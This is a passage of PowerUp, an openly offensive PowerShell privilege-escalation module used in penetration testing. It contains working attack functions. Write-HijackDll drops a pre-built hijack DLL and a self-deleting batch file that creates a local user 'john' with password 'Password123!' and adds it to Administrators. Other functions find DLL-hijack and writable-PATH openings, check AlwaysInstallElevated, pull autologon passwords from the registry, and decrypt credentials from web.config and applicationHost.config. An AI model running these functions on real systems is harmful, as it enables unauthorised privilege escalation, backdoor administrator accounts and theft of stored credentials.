        Restores a service binary backed up by Install-ServiceBinary.

    .DESCRIPTION

        Takes a service Name or a ServiceProcess.ServiceController on the pipeline and
        checks for the existence of an "OriginalServiceBinary.exe.bak" in the service
        binary location. If it exists, the backup binary is restored to the original
        binary path.

    .PARAMETER Name

        The service name to restore a binary for.

    .PARAMETER BackupPath

        Optional manual path to the backup binary.

    .EXAMPLE

        PS C:\> Restore-ServiceBinary -Name VulnSVC

        Restore the original binary for the service 'VulnSVC'.

    .EXAMPLE

        PS C:\> Get-Service VulnSVC | Restore-ServiceBinary

        Restore the original binary for the service 'VulnSVC'.

    .EXAMPLE

        PS C:\> Restore-ServiceBinary -Name VulnSVC -BackupPath 'C:\temp\backup.exe'

        Restore the original binary for the service 'VulnSVC' from a custom location.
#>

    Param(
        [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
        [Alias('ServiceName')]
        [String]
        [ValidateNotNullOrEmpty()]
        $Name,

        [Parameter(Position = 1)]
        [ValidateScript({Test-Path -Path $_ })]
        [String]
        $BackupPath
    )

    PROCESS {

        $TargetService = Get-Service -Name $Name

        $ServiceDetails = $TargetService | Get-ServiceDetail

        $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -LiteralPaths

        if(-not $ModifiableFiles) {
            throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user."
        }

        $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath
        $BackupPath = "$($ServicePath).bak"

        Copy-Item -Path $BackupPath -Destination $ServicePath -Force
        Remove-Item -Path $BackupPath -Force

        $Out = New-Object PSObject
        $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.Name
        $Out | Add-Member Noteproperty 'ServicePath' $ServicePath
        $Out | Add-Member Noteproperty 'BackupPath' $BackupPath
        $Out
    }
}


########################################################
#
# DLL Hijacking
#
########################################################

function Find-ProcessDLLHijack {
<#
    .SYNOPSIS

        Finds all DLL hijack locations for currently running processes.

        Author: @harmj0y
        License: BSD 3-Clause

    .DESCRIPTION

        Enumerates all currently running processes with Get-Process (or accepts an
        input process object from Get-Process) and enumerates the loaded modules for each.
        All loaded module name exists outside of the process binary base path, as those
        are DLL load-order hijack candidates.

    .PARAMETER Name

        The name of a process to enumerate for possible DLL path hijack opportunities.

    .PARAMETER ExcludeWindows

        Exclude paths from C:\Windows\* instead of just C:\Windows\System32\*

    .PARAMETER ExcludeProgramFiles

        Exclude paths from C:\Program Files\* and C:\Program Files (x86)\*

    .PARAMETER ExcludeOwned

        Exclude processes the current user owns.

    .EXAMPLE

        PS C:\> Find-ProcessDLLHijack

        Finds possible hijackable DLL locations for all processes.

    .EXAMPLE

        PS C:\> Get-Process VulnProcess | Find-ProcessDLLHijack

        Finds possible hijackable DLL locations for the 'VulnProcess' processes.

    .EXAMPLE

        PS C:\> Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles

        Finds possible hijackable DLL locations not in C:\Windows\* and
        not in C:\Program Files\* or C:\Program Files (x86)\*

    .EXAMPLE

        PS C:\> Find-ProcessDLLHijack -ExcludeOwned

        Finds possible hijackable DLL location for processes not owned by the
        current user.

    .LINK

        https://www.mandiant.com/blog/malware-persistence-windows-registry/
#>

    [CmdletBinding()]
    Param(
        [Parameter(Position=0, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
        [Alias('ProcessName')]
        [String[]]
        $Name = $(Get-Process | Select-Object -Expand Name),

        [Switch]
        $ExcludeWindows,

        [Switch]
        $ExcludeProgramFiles,

        [Switch]
        $ExcludeOwned
    )

    BEGIN {
        # the known DLL cache to exclude from our findings
        #   http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx
        $Keys = (Get-Item "HKLM:\System\CurrentControlSet\Control\Session Manager\KnownDLLs")
        $KnownDLLs = $(ForEach ($KeyName in $Keys.GetValueNames()) { $Keys.GetValue($KeyName) }) | Where-Object { $_.EndsWith(".dll") }
        $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name

        # get the owners for all processes
        $Owners = @{}
        Get-WmiObject -Class win32_process | Where-Object {$_} | ForEach-Object { $Owners[$_.handle] = $_.getowner().user }
    }

    PROCESS {

        ForEach ($ProcessName in $Name) {

            $TargetProcess = Get-Process -Name $ProcessName

            if($TargetProcess -and $TargetProcess.Path -and ($TargetProcess.Path -ne '') -and ($TargetProcess.Path -ne $Null)) {

                try {
                    $BasePath = $TargetProcess.Path | Split-Path -Parent

                    $LoadedModules = $TargetProcess.Modules

                    $ProcessOwner = $Owners[$TargetProcess.Id.ToString()]

                    ForEach ($Module in $LoadedModules){

                        $ModulePath = "$BasePath\$($Module.ModuleName)"

                        # if the module path doesn't exist in the process base path folder
                        if ((-not $ModulePath.Contains('C:\Windows\System32')) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) {

                            $Exclude = $False

                            if($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) {
                                $Exclude = $True
                            }

                            if($PSBoundParameters['ExcludeProgramFiles'] -and $ModulePath.Contains('C:\Program Files')) {
                                $Exclude = $True
                            }

                            if($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) {
                                $Exclude = $True
                            }

                            # output the process name and hijackable path if exclusion wasn't marked
                            if (-not $Exclude){
                                $Out = New-Object PSObject
                                $Out | Add-Member Noteproperty 'ProcessName' $TargetProcess.ProcessName
                                $Out | Add-Member Noteproperty 'ProcessPath' $TargetProcess.Path
                                $Out | Add-Member Noteproperty 'ProcessOwner' $ProcessOwner
                                $Out | Add-Member Noteproperty 'ProcessHijackableDLL' $ModulePath
                                $Out
                            }
                        }
                    }
                }
                catch {
                    Write-Verbose "Error: $_"
                }
            }
        }
    }
}


function Find-PathDLLHijack {
<#
    .SYNOPSIS

        Finds all directories in the system %PATH% that are modifiable by the current user.

        Author: @harmj0y
        License: BSD 3-Clause

    .DESCRIPTION

        Enumerates the paths stored in Env:Path (%PATH) and filters each through Get-ModifiablePath
        to return the folder paths the current user can write to. On Windows 7, if wlbsctrl.dll is
        written to one of these paths, execution for the IKEEXT can be hijacked due to DLL search
        order loading.

    .EXAMPLE

        PS C:\> Find-PathDLLHijack

        Finds all %PATH% .DLL hijacking opportunities.

    .LINK

        http://www.greyhathacker.net/?p=738
#>

    [CmdletBinding()]
    Param()

    # use -LiteralPaths so the spaces in %PATH% folders are not tokenized
    Get-Item Env:Path | Select-Object -ExpandProperty Value | ForEach-Object { $_.split(';') } | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object {
        $TargetPath = $_

        $ModifidablePaths = $TargetPath | Get-ModifiablePath -LiteralPaths | Where-Object {$_ -and ($_ -ne $Null) -and ($_.ModifiablePath -ne $Null) -and ($_.ModifiablePath.Trim() -ne '')}
        ForEach($ModifidablePath in $ModifidablePaths) {
            if($ModifidablePath.ModifiablePath -ne $Null) {
                $ModifidablePath | Add-Member Noteproperty '%PATH%' $_
                $ModifidablePath
            }
        }
    }
}


function Write-HijackDll {
<#
    .SYNOPSIS

        Patches in the path to a specified .bat (containing the specified command) into a
        pre-compiled hijackable C++ DLL writes the DLL out to the specified ServicePath location.

    .DESCRIPTION

        First builds a self-deleting .bat file that executes the specified -Command or local user,
        to add and writes the.bat out to -BatPath. The BatPath is then patched into a pre-compiled
        C++ DLL that is built to be hijackable by the IKEEXT service. There are two DLLs, one for
        x86 and one for x64, and both are contained as base64-encoded strings. The DLL is then
        written out to the specified OutputFile.

    .PARAMETER DllPath

        File name to write the generated DLL out to.

    .PARAMETER Architecture

        The Architecture to generate for the DLL, x86 or x64. If not specified, PowerUp
        will try to automatically determine the correct architecture.

    .PARAMETER BatPath

        Path to the .bat for the DLL to launch.

    .PARAMETER UserName

        The [domain\]username to add. If not given, it defaults to "john".
        Domain users are not created, only added to the specified localgroup.

    .PARAMETER Password

        The password to set for the added user. If not given, it defaults to "Password123!"

    .PARAMETER LocalGroup

        Local group name to add the user to (default of 'Administrators').

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object specifying the user/password to add.

    .PARAMETER Command

        Custom command to execute instead of user creation.
#>

    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$True)]
        [String]
        [ValidateNotNullOrEmpty()]
        $DllPath,

        [String]
        [ValidateSet('x86', 'x64')]
        $Architecture,

        [String]
        [ValidateNotNullOrEmpty()]
        $BatPath,

        [String]
        $UserName = 'john',

        [String]
        $Password = 'Password123!',

        [String]
        $LocalGroup = 'Administrators',

        [Management.Automation.PSCredential]
        $Credential,

        [String]
        [ValidateNotNullOrEmpty()]
        $Command
    )

    function local:Invoke-PatchDll {
    <#
        .SYNOPSIS

            Helpers that patches a string in a binary byte array.

        .PARAMETER DllBytes

            The binary blob to patch.

        .PARAMETER SearchString

            The string to replace in the blob.

        .PARAMETER ReplaceString

            The string to replace SearchString with.
    #>

        [CmdletBinding()]
        param(
            [Parameter(Mandatory=$True)]
            [Byte[]]
            $DllBytes,

            [Parameter(Mandatory=$True)]
            [String]
            $SearchString,

            [Parameter(Mandatory=$True)]
            [String]
            $ReplaceString
        )

        $ReplaceStringBytes = ([System.Text.Encoding]::UTF8).GetBytes($ReplaceString)

        $Index = 0
        $S = [System.Text.Encoding]::ASCII.GetString($DllBytes)
        $Index = $S.IndexOf($SearchString)

        if($Index -eq 0) {
            throw("Could not find string $SearchString !")
        }

        for ($i=0; $i -lt $ReplaceStringBytes.Length; $i++) {
            $DllBytes[$Index+$i]=$ReplaceStringBytes[$i]
        }

        return $DllBytes
    }

    if($PSBoundParameters['Command']) {
        $BatCommand = $Command
    }
    else {
        if($PSBoundParameters['Credential']) {
            $UserNameToAdd = $Credential.UserName
            $PasswordToAdd = $Credential.GetNetworkCredential().Password
        }
        else {
            $UserNameToAdd = $UserName
            $PasswordToAdd = $Password
        }

        if($UserNameToAdd.Contains('\')) {
            # only adding a domain user to the local group, no user creation
            $BatCommand = "net localgroup $LocalGroup $UserNameToAdd /add"
        }
        else {
            # create a local user and add it to the local specified group
            $BatCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add"
        }
    }

    # generate with base64 -w 0 hijack32.dll > hijack32.b64
    $DllBytes32 = "[encoded data, 52568 characters]"
    $DllBytes64 = "[encoded data, 59392 characters]"

    if($PSBoundParameters['Architecture']) {
        $TargetArchitecture = $Architecture
    }
    elseif($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {
        $TargetArchitecture = 'x64'
    }
    else {
        $TargetArchitecture = 'x86'
    }

    if($TargetArchitecture -eq 'x64') {
        [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes64)
    }
    else {
        [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes32)
    }

    if($PSBoundParameters['BatPath']) {
        $TargetBatPath = $BatPath
    }
    else {
        $BasePath = $DllPath | Split-Path -Parent
        $TargetBatPath = "$BasePath\debug.bat"
    }

    # patch in the appropriate .bat launcher path
    $DllBytes = Invoke-PatchDll -DllBytes $DllBytes -SearchString 'debug.bat' -ReplaceString $TargetBatPath

    # build the launcher .bat
    if (Test-Path $TargetBatPath) { Remove-Item -Force $TargetBatPath }

    "@echo off" | Out-File -Encoding ASCII -Append $TargetBatPath
    "start /b $BatCommand" | Out-File -Encoding ASCII -Append $TargetBatPath
    'start /b "" cmd /c del "%~f0"&exit /b' | Out-File -Encoding ASCII -Append $TargetBatPath

    Write-Verbose ".bat launcher written to: $TargetBatPath"

    Set-Content -Value $DllBytes -Encoding Byte -Path $DllPath
    Write-Verbose "$TargetArchitecture DLL Hijacker written to: $DllPath"

    $Out = New-Object PSObject
    $Out | Add-Member Noteproperty 'DllPath' $DllPath
    $Out | Add-Member Noteproperty 'Architecture' $TargetArchitecture
    $Out | Add-Member Noteproperty 'BatLauncherPath' $TargetBatPath
    $Out | Add-Member Noteproperty 'Command' $BatCommand
    $Out
}


########################################################
#
# Registry Checks
#
########################################################

function Get-RegistryAlwaysInstallElevated {
<#
    .SYNOPSIS

        Checks if any of the AlwaysInstallElevated registry keys are set.

    .DESCRIPTION

        Returns $True if the HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
        or the HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated keys
        are set, $False otherwise. If one of these keys are set, then all .MSI files run with
        elevated permissions, regardless of current user permissions.

    .EXAMPLE

        PS C:\> Get-RegistryAlwaysInstallElevated

        Returns $True if any of the AlwaysInstallElevated registry keys are set.
#>

    [CmdletBinding()]
    Param()

    $OrigError = $ErrorActionPreference
    $ErrorActionPreference = "SilentlyContinue"

    if (Test-Path "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer") {

        $HKLMval = (Get-ItemProperty -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue)
        Write-Verbose "HKLMval: $($HKLMval.AlwaysInstallElevated)"

        if ($HKLMval.AlwaysInstallElevated -and ($HKLMval.AlwaysInstallElevated -ne 0)){

            $HKCUval = (Get-ItemProperty -Path "HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue)
            Write-Verbose "HKCUval: $($HKCUval.AlwaysInstallElevated)"

            if ($HKCUval.AlwaysInstallElevated -and ($HKCUval.AlwaysInstallElevated -ne 0)){
                Write-Verbose "AlwaysInstallElevated enabled on this machine!"
                $True
            }
            else{
                Write-Verbose "AlwaysInstallElevated not enabled on this machine."
                $False
            }
        }
        else{
            Write-Verbose "AlwaysInstallElevated not enabled on this machine."
            $False
        }
    }
    else{
        Write-Verbose "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer does not exist"
        $False
    }

    $ErrorActionPreference = $OrigError
}


function Get-RegistryAutoLogon {
<#
    .SYNOPSIS

        Finds any autologon credentials left in the registry.

    .DESCRIPTION

        Checks if any autologon accounts/credentials are set in a number of registry locations.
        If they are, the credentials are extracted and returned as a custom PSObject.

    .EXAMPLE

        PS C:\> Get-RegistryAutoLogon

        Finds any autologon credentials left in the registry.

    .LINK

        https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb
#>

    [CmdletBinding()]
    Param()

    $AutoAdminLogon = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -ErrorAction SilentlyContinue)

    Write-Verbose "AutoAdminLogon key: $($AutoAdminLogon.AutoAdminLogon)"

    if ($AutoAdminLogon -and ($AutoAdminLogon.AutoAdminLogon -ne 0)) {

        $DefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -ErrorAction SilentlyContinue).DefaultDomainName
        $DefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -ErrorAction SilentlyContinue).DefaultUserName
        $DefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -ErrorAction SilentlyContinue).DefaultPassword
        $AltDefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultDomainName -ErrorAction SilentlyContinue).AltDefaultDomainName
        $AltDefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultUserName -ErrorAction SilentlyContinue).AltDefaultUserName
        $AltDefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultPassword -ErrorAction SilentlyContinue).AltDefaultPassword

        if ($DefaultUserName -or $AltDefaultUserName) {
            $Out = New-Object PSObject
            $Out | Add-Member Noteproperty 'DefaultDomainName' $DefaultDomainName
            $Out | Add-Member Noteproperty 'DefaultUserName' $DefaultUserName
            $Out | Add-Member Noteproperty 'DefaultPassword' $DefaultPassword
            $Out | Add-Member Noteproperty 'AltDefaultDomainName' $AltDefaultDomainName
            $Out | Add-Member Noteproperty 'AltDefaultUserName' $AltDefaultUserName
            $Out | Add-Member Noteproperty 'AltDefaultPassword' $AltDefaultPassword
            $Out
        }
    }
}

function Get-ModifiableRegistryAutoRun {
<#
    .SYNOPSIS

        Returns any elevated system autoruns in which the current user can
        modify part of the path string.

    .DESCRIPTION

        Enumerates a number of autorun specifications in HKLM and filters any
        autoruns through Get-ModifiablePath, returning any file/config locations
        in the found path strings that the current user can modify.

    .EXAMPLE

        PS C:\> Get-ModifiableRegistryAutoRun

        Return vulneable autorun binaries (or associated configs).
#>

    [CmdletBinding()]
    Param()

    $SearchLocations = @(   "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
                            "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce",
                            "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run",
                            "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce",
                            "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService",
                            "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService",
                            "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService",
                            "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService"
                        )

    $OrigError = $ErrorActionPreference
    $ErrorActionPreference = "SilentlyContinue"

    $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object {

        $Keys = Get-Item -Path $_
        $ParentPath = $_

        ForEach ($Name in $Keys.GetValueNames()) {

            $Path = $($Keys.GetValue($Name))

            $Path | Get-ModifiablePath | ForEach-Object {
                $Out = New-Object PSObject
                $Out | Add-Member Noteproperty 'Key' "$ParentPath\$Name"
                $Out | Add-Member Noteproperty 'Path' $Path
                $Out | Add-Member Noteproperty 'ModifiableFile' $_
                $Out
            }
        }
    }

    $ErrorActionPreference = $OrigError
}


########################################################
#
# Miscellaneous checks
#
########################################################

function Get-ModifiableScheduledTaskFile {
<#
    .SYNOPSIS

        Returns scheduled tasks where the current user can modify any file
        in the associated task action string.

    .DESCRIPTION

        Enumerates all scheduled tasks by recursively listing "$($ENV:windir)\System32\Tasks"
        and parses the XML specification for each task, extracting the command triggers.
        Each trigger string is filtered through Get-ModifiablePath, returning any file/config
        locations in the found path strings that the current user can modify.

    .EXAMPLE

        PS C:\> Get-ModifiableScheduledTaskFile

        Return scheduled tasks with modifiable command strings.
#>

    [CmdletBinding()]
    Param()

    $OrigError = $ErrorActionPreference
    $ErrorActionPreference = "SilentlyContinue"

    $Path = "$($ENV:windir)\System32\Tasks"

    # recursively enumerate all schtask .xmls
    Get-ChildItem -Path $Path -Recurse | Where-Object { -not $_.PSIsContainer } | ForEach-Object {
        try {
            $TaskName = $_.Name
            $TaskXML = [xml] (Get-Content $_.FullName)
            if($TaskXML.Task.Triggers) {

                $TaskTrigger = $TaskXML.Task.Triggers.OuterXML

                # check schtask command
                $TaskXML.Task.Actions.Exec.Command | Get-ModifiablePath | ForEach-Object {
                    $Out = New-Object PSObject
                    $Out | Add-Member Noteproperty 'TaskName' $TaskName
                    $Out | Add-Member Noteproperty 'TaskFilePath' $_
                    $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger
                    $Out
                }

                # check schtask arguments
                $TaskXML.Task.Actions.Exec.Arguments | Get-ModifiablePath | ForEach-Object {
                    $Out = New-Object PSObject
                    $Out | Add-Member Noteproperty 'TaskName' $TaskName
                    $Out | Add-Member Noteproperty 'TaskFilePath' $_
                    $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger
                    $Out
                }
            }
        }
        catch {
            Write-Verbose "Error: $_"
        }
    }

    $ErrorActionPreference = $OrigError
}


function Get-UnattendedInstallFile {
<#
    .SYNOPSIS

        Checks several locations for remaining unattended installation files,
        which may have deployment credentials.

    .EXAMPLE

        PS C:\> Get-UnattendedInstallFile

        Finds any remaining unattended installation files.

    .LINK

        http://www.fuzzysecurity.com/tutorials/16.html
#>

    $OrigError = $ErrorActionPreference
    $ErrorActionPreference = "SilentlyContinue"

    $SearchLocations = @(   "c:\sysprep\sysprep.xml",
                            "c:\sysprep\sysprep.inf",
                            "c:\sysprep.inf",
                            (Join-Path $Env:WinDir "\Panther\Unattended.xml"),
                            (Join-Path $Env:WinDir "\Panther\Unattend\Unattended.xml"),
                            (Join-Path $Env:WinDir "\Panther\Unattend.xml"),
                            (Join-Path $Env:WinDir "\Panther\Unattend\Unattend.xml"),
                            (Join-Path $Env:WinDir "\System32\Sysprep\unattend.xml"),
                            (Join-Path $Env:WinDir "\System32\Sysprep\Panther\unattend.xml")
                        )

    # test the existence of each path and return anything found
    $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object {
        $Out = New-Object PSObject
        $Out | Add-Member Noteproperty 'UnattendPath' $_
        $Out
    }

    $ErrorActionPreference = $OrigError
}


function Get-WebConfig {
<#
    .SYNOPSIS

        This script will recover cleartext and encrypted connection strings from all web.config
        files on the system.  Also, it will decrypt them if needed.

        Author: Scott Sutherland - 2014, NetSPI
        Author: Antti Rantasaari - 2014, NetSPI

    .DESCRIPTION

        This script will identify all of the web.config files on the system and recover the
        connection strings used to support authentication to backend databases.  If needed, the
        script will also decrypt the connection strings on the fly.  The output supports the
        pipeline which can be used to convert all of the results into a pretty table by piping
        to format-table.

    .EXAMPLE

        Return a list of cleartext and decrypted connect strings from web.config files.

        PS C:\> Get-WebConfig
        user   : s1admin
        pass   : s1password
        dbserv : 192.168.1.103\server1
        vdir   : C:\test2
        path   : C:\test2\web.config
        encr   : No

        user   : s1user
        pass   : s1password
        dbserv : 192.168.1.103\server1
        vdir   : C:\inetpub\wwwroot
        path   : C:\inetpub\wwwroot\web.config
        encr   : Yes

    .EXAMPLE

        Return a list of clear text and decrypted connect strings from web.config files.

        PS C:\>get-webconfig | Format-Table -Autosize

        user    pass       dbserv                vdir               path                          encr
        ----    ----       ------                ----               ----                          ----
        s1admin s1password 192.168.1.101\server1 C:\App1            C:\App1\web.config            No  
        s1user  s1password 192.168.1.101\server1 C:\inetpub\wwwroot C:\inetpub\wwwroot\web.config No  
        s2user  s2password 192.168.1.102\server2 C:\App2            C:\App2\test\web.config       No  
        s2user  s2password 192.168.1.102\server2 C:\App2            C:\App2\web.config            Yes 
        s3user  s3password 192.168.1.103\server3 D:\App3            D:\App3\web.config            No 

     .LINK

        https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
        http://www.netspi.com
        https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx
        http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
        http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx

     .NOTES

        Below is an alterantive method for grabbing connection strings, but it doesn't support decryption.
        for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings
#>

    [CmdletBinding()]
    Param()

    $OrigError = $ErrorActionPreference
    $ErrorActionPreference = "SilentlyContinue"

    # Check if appcmd.exe exists
    if (Test-Path  ("$Env:SystemRoot\System32\InetSRV\appcmd.exe")) {

        # Create data table to house results
        $DataTable = New-Object System.Data.DataTable

        # Create and name columns in the data table
        $Null = $DataTable.Columns.Add("user")
        $Null = $DataTable.Columns.Add("pass")
        $Null = $DataTable.Columns.Add("dbserv")
        $Null = $DataTable.Columns.Add("vdir")
        $Null = $DataTable.Columns.Add("path")
        $Null = $DataTable.Columns.Add("encr")

        # Get list of virtual directories in IIS
        C:\Windows\System32\InetSRV\appcmd.exe list vdir /text:physicalpath | 
        ForEach-Object {

            $CurrentVdir = $_

            # Converts CMD style env vars (%) to powershell env vars (env)
            if ($_ -like "*%*") {
                $EnvarName = "`$Env:"+$_.split("%")[1]
                $EnvarValue = Invoke-Expression $EnvarName
                $RestofPath = $_.split("%")[2]
                $CurrentVdir  = $EnvarValue+$RestofPath
            }

            # Search for web.config files in each virtual directory
            $CurrentVdir | Get-ChildItem -Recurse -Filter web.config | ForEach-Object {

                # Set web.config path
                $CurrentPath = $_.fullname

                # Read the data from the web.config xml file
                [xml]$ConfigFile = Get-Content $_.fullname

                # Check if the connectionStrings are encrypted
                if ($ConfigFile.configuration.connectionStrings.add) {

                    # Foreach connection string add to data table
                    $ConfigFile.configuration.connectionStrings.add| 
                    ForEach-Object {

                        [String]$MyConString = $_.connectionString
                        if($MyConString -like "*password*") {
                            $ConfUser = $MyConString.Split("=")[3].Split(";")[0]
                            $ConfPass = $MyConString.Split("=")[4].Split(";")[0]
                            $ConfServ = $MyConString.Split("=")[1].Split(";")[0]
                            $ConfVdir = $CurrentVdir
                            $ConfPath = $CurrentPath
                            $ConfEnc = "No"
                            $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc)
                        }
                    }
                }
                else {

                    # Find newest version of aspnet_regiis.exe to use (it works with older versions)
                    $AspnetRegiisPath = Get-ChildItem -Path "$Env:SystemRoot\Microsoft.NET\Framework\" -Recurse -filter 'aspnet_regiis.exe'  | Sort-Object -Descending | Select-Object fullname -First 1

                    # Check if aspnet_regiis.exe exists
                    if (Test-Path  ($AspnetRegiisPath.FullName)) {

                        # Setup path for temp web.config to the current user's temp dir
                        $WebConfigPath = (Get-Item $Env:temp).FullName + "\web.config"

                        # Remove existing temp web.config
                        if (Test-Path  ($WebConfigPath)) {
                            Remove-Item $WebConfigPath
                        }

                        # Copy web.config from vdir to user temp for decryption
                        Copy-Item $CurrentPath $WebConfigPath

                        # Decrypt web.config in user temp
                        $AspnetRegiisCmd = $AspnetRegiisPath.fullname+' -pdf "connectionStrings" (get-item $Env:temp).FullName'
                        $Null = Invoke-Expression $AspnetRegiisCmd

                        # Read the data from the web.config in temp
                        [xml]$TMPConfigFile = Get-Content $WebConfigPath

                        # Check if the connectionStrings are still encrypted
                        if ($TMPConfigFile.configuration.connectionStrings.add) {

                            # Foreach connection string add to data table
                            $TMPConfigFile.configuration.connectionStrings.add | ForEach-Object {

                                [String]$MyConString = $_.connectionString
                                if($MyConString -like "*password*") {
                                    $ConfUser = $MyConString.Split("=")[3].Split(";")[0]
                                    $ConfPass = $MyConString.Split("=")[4].Split(";")[0]
                                    $ConfServ = $MyConString.Split("=")[1].Split(";")[0]
                                    $ConfVdir = $CurrentVdir
                                    $ConfPath = $CurrentPath
                                    $ConfEnc = 'Yes'
                                    $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc)
                                }
                            }

                        }
                        else {
                            Write-Verbose "Decryption of $CurrentPath failed."
                            $False
                        }
                    }
                    else {
                        Write-Verbose 'aspnet_regiis.exe does not exist in the default location.'
                        $False
                    }
                }
            }
        }

        # Check if any connection strings were found
        if( $DataTable.rows.Count -gt 0 ) {
            # Display results in list view that can feed into the pipeline
            $DataTable |  Sort-Object user,pass,dbserv,vdir,path,encr | Select-Object user,pass,dbserv,vdir,path,encr -Unique
        }
        else {
            Write-Verbose 'No connection strings found.'
            $False
        }
    }
    else {
        Write-Verbose 'Appcmd.exe does not exist in the default location.'
        $False
    }

    $ErrorActionPreference = $OrigError
}


function Get-ApplicationHost {
 <#
    .SYNOPSIS

        This script will recover encrypted application pool and virtual directory passwords from the applicationHost.config on the system.

    .DESCRIPTION

        This script will decrypt and recover application pool and virtual directory passwords
        from the applicationHost.config file on the system.  The output supports the
        pipeline which can be used to convert all of the results into a pretty table by piping
        to format-table.

    .EXAMPLE

        Return application pool and virtual directory passwords from the applicationHost.config on the system.

        PS C:\> Get-ApplicationHost
        user    : PoolUser1
        pass    : PoolParty1!
        type    : Application Pool
        vdir    : NA
        apppool : ApplicationPool1
        user    : PoolUser2
        pass    : PoolParty2!
        type    : Application Pool
        vdir    : NA
        apppool : ApplicationPool2
        user    : VdirUser1
        pass    : VdirPassword1!
        type    : Virtual Directory
        vdir    : site1/vdir1/
        apppool : NA
        user    : VdirUser2
        pass    : VdirPassword2!
        type    : Virtual Directory
        vdir    : site2/
        apppool : NA

    .EXAMPLE

        Return a list of cleartext and decrypted connect strings from web.config files.

        PS C:\> Get-ApplicationHost | Format-Table -Autosize

        user          pass               type              vdir         apppool
        ----          ----               ----              ----         -------
        PoolUser1     PoolParty1!       Application Pool   NA           ApplicationPool1
        PoolUser2     PoolParty2!       Application Pool   NA           ApplicationPool2
        VdirUser1     VdirPassword1!    Virtual Directory  site1/vdir1/ NA
        VdirUser2     VdirPassword2!    Virtual Directory  site2/       NA

    .LINK

        https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
        http://www.netspi.com
        http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
        http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx

    .NOTES

        Author: Scott Sutherland - 2014, NetSPI
        Version: Get-ApplicationHost v1.0
        Comments: Should work on IIS 6 and Above
#>

    $OrigError = $ErrorActionPreference
    $ErrorActionPreference = "SilentlyContinue"

    # Check if appcmd.exe exists
    if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
        # Create data table to house results
        $DataTable = New-Object System.Data.DataTable

        # Create and name columns in the data table
